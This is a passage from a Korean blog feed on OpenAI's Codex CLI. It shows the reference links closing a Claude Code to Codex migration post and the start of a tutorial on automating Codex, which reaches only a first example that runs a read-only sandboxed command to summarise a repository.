&lt;ul style=&quot;padding-left: 20px; margin: 0 0 16px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/migrate&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Migrate to Codex&lt;/a&gt; &amp;mdash; 공식 마이그레이션 가이드&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Custom instructions with AGENTS.md&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Config basics&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-advanced&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Advanced configuration&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sandbox&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/agent-approvals-security&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Approvals and security&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/rules&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rules&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hooks&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-weight: bold; margin: 16px 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 공식 문서&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 0 0 16px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code memory (CLAUDE.md)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/configuration&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code configuration&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code permission modes&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code hooks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-weight: bold; margin: 16px 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;같은 시리즈&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 0 0 16px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules 상세 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills 상세 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 9: 페어 프로그래밍 패턴(예정)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #6c757d; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;작성일: 2026-05-06. 최종 수정: 2026-05-15. 공식 문서 기준. CLI 동작과 설정 키는 버전에 따라 변경될 수 있다.&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Codex 기초 사용방법</category>
      <category>Claude Code Codex 마이그레이션</category>
      <category>Claude Code 비교</category>
      <category>Claude Code에서 Codex로</category>
      <category>CLAUDE.md AGENTS.md 이전</category>
      <category>codex cli</category>
      <category>Codex import</category>
      <category>Codex 전환 가이드</category>
      <category>codex로 클로드</category>
      <category>openai codex</category>
      <category>코덱스로 클로드</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/602</guid>
      <comments>https://goddaehee.tistory.com/602#entry602comment</comments>
      <pubDate>Sat, 16 May 2026 19:03:07 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI 입문(6) : Codex 자동화 파이프라인 구축 - 사람 없이 돌아가는 Codex</title>
      <link>https://goddaehee.tistory.com/601</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@graph&quot;: [
    {
      &quot;@type&quot;: &quot;BlogPosting&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-7-automation.html#blogposting&quot;,
      &quot;headline&quot;: &quot;Codex 자동화 입문: 로컬 5분 → 팀 공유 → GitHub Actions&quot;,
      &quot;description&quot;: &quot;Codex 자동화를 처음 시작하는 개발자를 위해 로컬 한 줄 실행부터 GitHub Actions PR 자동 리뷰까지 3단계로 나눠 쉬운 예제로 설명합니다.&quot;,
      &quot;inLanguage&quot;: &quot;ko-KR&quot;,
      &quot;url&quot;: &quot;https://goddaehee.tistory.com/codex-series-7-automation.html&quot;,
      &quot;mainEntityOfPage&quot;: {&quot;@type&quot;: &quot;WebPage&quot;, &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-7-automation.html&quot;},
      &quot;author&quot;: {&quot;@type&quot;: &quot;Person&quot;, &quot;name&quot;: &quot;갓대희&quot;, &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;},
      &quot;publisher&quot;: {&quot;@type&quot;: &quot;Organization&quot;, &quot;name&quot;: &quot;갓대희의 블로그&quot;, &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;},
      &quot;datePublished&quot;: &quot;2026-05-06&quot;,
      &quot;dateModified&quot;: &quot;2026-05-12&quot;,
      &quot;articleSection&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
      &quot;keywords&quot;: [&quot;codex exec&quot;, &quot;Codex 자동화&quot;, &quot;GitHub Actions&quot;, &quot;PR 자동 리뷰&quot;, &quot;codex 입문&quot;]
    },
    {
      &quot;@type&quot;: &quot;BreadcrumbList&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-7-automation.html#breadcrumb&quot;,
      &quot;itemListElement&quot;: [
        {&quot;@type&quot;: &quot;ListItem&quot;, &quot;position&quot;: 1, &quot;name&quot;: &quot;Home&quot;, &quot;item&quot;: &quot;https://goddaehee.tistory.com&quot;},
        {&quot;@type&quot;: &quot;ListItem&quot;, &quot;position&quot;: 2, &quot;name&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;, &quot;item&quot;: &quot;https://goddaehee.tistory.com/category/AI%20Tools/Codex&quot;},
        {&quot;@type&quot;: &quot;ListItem&quot;, &quot;position&quot;: 3, &quot;name&quot;: &quot;Codex 자동화&quot;, &quot;item&quot;: &quot;https://goddaehee.tistory.com/codex-series-7-automation.html&quot;}
      ]
    },
    {
      &quot;@type&quot;: &quot;FAQPage&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-7-automation.html#faq&quot;,
      &quot;mainEntity&quot;: [
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Codex 자동화를 가장 빠르게 시작하는 방법은?&quot;,
          &quot;acceptedAnswer&quot;: {&quot;@type&quot;: &quot;Answer&quot;, &quot;text&quot;: &quot;저장소 루트에서 codex exec --sandbox read-only 명령 하나로 시작한다. GitHub Actions나 CI 설정 없이도 로컬에서 바로 저장소 분석, 파일 검토, 커밋 전 체크를 자동화할 수 있다.&quot;}
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;처음부터 GitHub Actions를 설정해야 하나?&quot;,
          &quot;acceptedAnswer&quot;: {&quot;@type&quot;: &quot;Answer&quot;, &quot;text&quot;: &quot;아니다. 로컬 codex exec로 자동화를 먼저 익히고, 팀 공유 패턴을 만든 뒤에 GitHub Actions로 옮기는 순서가 훨씬 쉽다. 레벨 1~2만 해도 일상 업무에서 충분히 쓸 수 있다.&quot;}
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;API key는 어디에 보관해야 안전한가?&quot;,
          &quot;acceptedAnswer&quot;: {&quot;@type&quot;: &quot;Answer&quot;, &quot;text&quot;: &quot;로컬 개발에서는 .env 파일 또는 환경변수에, CI에서는 GitHub repository secret에 저장한다. 절대 코드에 직접 쓰거나 git에 커밋하지 않는다.&quot;}
        }
      ]
    }
  ]
}
&lt;/script&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2672&quot; data-origin-height=&quot;1504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQcN1h/dJMcaaSO8xq/Ddb6yhYMmjh0d5rxQwu3vK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQcN1h/dJMcaaSO8xq/Ddb6yhYMmjh0d5rxQwu3vK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQcN1h/dJMcaaSO8xq/Ddb6yhYMmjh0d5rxQwu3vK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQcN1h%2FdJMcaaSO8xq%2FDdb6yhYMmjh0d5rxQwu3vK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2672&quot; height=&quot;1504&quot; data-origin-width=&quot;2672&quot; data-origin-height=&quot;1504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Codex 자동화라고 하면 CI 파이프라인, GitHub Actions, sandbox 설정을 한꺼번에 떠올리기 쉽다. 하지만 처음부터 그게 다 필요한 건 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 세 단계로 나눈다. &lt;b&gt;레벨 1은 내 컴퓨터에서 혼자, 레벨 2는 팀 저장소에 공유하기, 레벨 3은 PR마다 자동으로 실행하기.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 단계에서 복붙하면 바로 되는 예제 하나씩을 이글에서는 준비해봤다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2072&quot; data-origin-height=&quot;1130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sNXu8/dJMcajoAJom/lpkYwHRVKn3SLlImycuo81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sNXu8/dJMcajoAJom/lpkYwHRVKn3SLlImycuo81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sNXu8/dJMcajoAJom/lpkYwHRVKn3SLlImycuo81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsNXu8%2FdJMcajoAJom%2FlpkYwHRVKn3SLlImycuo81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2072&quot; height=&quot;1130&quot; data-origin-width=&quot;2072&quot; data-origin-height=&quot;1130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffd700; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;&lt;b&gt;이 글에서 나오는 용어 2개&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;sandbox&lt;/b&gt; &amp;mdash; Codex가 내 파일을 얼마나 건드릴 수 있는지 범위를 정하는 설정. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only&lt;/code&gt;는 읽기만 하고 파일을 수정하지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;stdout&lt;/b&gt; &amp;mdash; 명령 실행 후 터미널에 출력되는 결과. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;gt; 파일명&lt;/code&gt;으로 파일에 저장할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 6: 자동화 (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8:&amp;nbsp;슬래시 명령어 정리(예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#level1&quot;&gt;레벨 1 &amp;mdash; 내 컴퓨터에서 바로 써보기&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#level2&quot;&gt;레벨 2 &amp;mdash; 팀 저장소에 등록하기&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#level3&quot;&gt;레벨 3 &amp;mdash; GitHub Actions에 붙이기&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#safety&quot;&gt;자동화 안전 규칙 5가지&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#summary&quot;&gt;정리와 다음 편 안내&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;h2 id=&quot;level1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #27ae60; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;레벨 1 &amp;mdash; 내 컴퓨터에서 바로 써보기&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YrwIk/dJMcadaRhhj/gXc7ab6KcaaKpu73RktpC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YrwIk/dJMcadaRhhj/gXc7ab6KcaaKpu73RktpC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YrwIk/dJMcadaRhhj/gXc7ab6KcaaKpu73RktpC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYrwIk%2FdJMcadaRhhj%2FgXc7ab6KcaaKpu73RktpC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2120&quot; height=&quot;1152&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub Actions도 필요 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CI 설정도 없다. Codex CLI가 설치되어 있고 인증되어 있으면 지금 바로 실행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2118&quot; data-origin-height=&quot;1142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4WFLP/dJMcaja2SLf/FhQYz49jZfGiU1YoboPd4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4WFLP/dJMcaja2SLf/FhQYz49jZfGiU1YoboPd4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4WFLP/dJMcaja2SLf/FhQYz49jZfGiU1YoboPd4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4WFLP%2FdJMcaja2SLf%2FFhQYz49jZfGiU1YoboPd4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2118&quot; height=&quot;1142&quot; data-origin-width=&quot;2118&quot; data-origin-height=&quot;1142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1-1. 낯선 저장소 빠르게 파악하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 들어온 저장소가 어떻게 생겼는지, 어떤 부분이 복잡한지 빠르게 파악하고 싶을 때 쓴다. 저장소 루트에서 아래 한 줄을 실행하면 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;복붙하고 바로 실행&lt;/b&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-size: 13px; margin: 12px 0 0; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex exec --sandbox read-only \
  &quot;이 저장소 구조를 요약하고, 복잡하거나 위험해 보이는 파일 3개를 경로와 함께 알려줘&quot; \
  &amp;gt; summary.md&lt;/code&gt;&lt;/pre&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;1128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4is5Q/dJMb99M5Qxg/3lqy7hTI4KL0jisKgHAOY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4is5Q/dJMb99M5Qxg/3lqy7hTI4KL0jisKgHAOY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4is5Q/dJMb99M5Qxg/3lqy7hTI4KL0jisKgHAOY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4is5Q%2FdJMb99M5Qxg%2F3lqy7hTI4KL0jisKgHAOY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2092&quot; height=&quot;1128&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;1128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8oAHQ/dJMb997qLFk/s8UG4X19k9nmtCTVjR0AZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8oAHQ/dJMb997qLFk/s8UG4X19k9nmtCTVjR0AZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8oAHQ/dJMb997qLFk/s8UG4X19k9nmtCTVjR0AZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8oAHQ%2FdJMb997qLFk%2Fs8UG4X19k9nmtCTVjR0AZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1292&quot; height=&quot;452&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 응답 예시 (터미널 출력)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2106&quot; data-origin-height=&quot;1002&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTlAcC/dJMcadBUga4/cdVPZVwLL3dJ2becaPnDrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTlAcC/dJMcadBUga4/cdVPZVwLL3dJ2becaPnDrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTlAcC/dJMcadBUga4/cdVPZVwLL3dJ2becaPnDrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTlAcC%2FdJMcadBUga4%2FcdVPZVwLL3dJ2becaPnDrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2106&quot; height=&quot;1002&quot; data-origin-width=&quot;2106&quot; data-origin-height=&quot;1002&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- summary.md 파일도 생성해서 해당 파일에 작성해 두었다.&lt;/p&gt;
